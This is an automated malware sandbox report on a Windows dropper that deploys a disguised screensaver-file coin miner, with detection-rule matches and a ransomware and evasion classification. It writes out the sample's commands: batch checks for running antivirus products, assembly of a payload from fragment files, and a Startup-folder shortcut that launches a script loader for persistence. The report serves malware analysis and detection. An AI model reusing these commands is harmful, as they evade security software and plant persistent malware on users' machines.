Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75202BD44	20_2_00007FF75202BD44
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752013D70	20_2_00007FF752013D70
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF7520AAE10	20_2_00007FF7520AAE10
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752037DFC	20_2_00007FF752037DFC
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF75200AEC0	20_2_00007FF75200AEC0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 20_2_00007FF752012EE0	20_2_00007FF752012EE0
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA9B550	21_2_0000014D5CA9B550
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA95530	21_2_0000014D5CA95530
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA94F10	21_2_0000014D5CA94F10
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Code function: 21_2_0000014D5CA9E6F0	21_2_0000014D5CA9E6F0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr 69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com 69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 004062CF appears 58 times

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 23.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 23.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: classification engine

Classification label: mal100.rans.expl.evad.mine.winEXE@38/58@3/1

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA174124 GetLastError,FormatMessageW,

17_2_00007FF7AA174124

Source: C:\Users\user\Desktop\file.exe

0_2_004044D1

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA16C46C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

17_2_00007FF7AA16C46C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA17368C CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

17_2_00007FF7AA17368C

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

File created: C:\Users\user\AppData\Local\CyberSphere Dynamics

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5768:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\nsgBEEE.tmp

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29442
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com Reynolds.com l
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr" "C:\Users\user\AppData\Local\CyberSphere Dynamics\M"
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 29442	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com Reynolds.com l	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr" "C:\Users\user\AppData\Local\CyberSphere Dynamics\M"	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr "C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Process created: C:\Windows\explorer.exe explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 4389991 > 1048576

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: autorunsc64a.pdb source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: autorunsc64a.pdb= source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns.pdb source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns64a.pdb source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Autoruns64.pdb source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: autorunsc.pdb source: explorer.exe, 00000012.00000002.3264299114.0000000001318000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: utorunsc.pdb source: explorer.exe, 00000012.00000002.3264572586.000000000162E000.00000004.00000010.00020000.00000000.sdmp
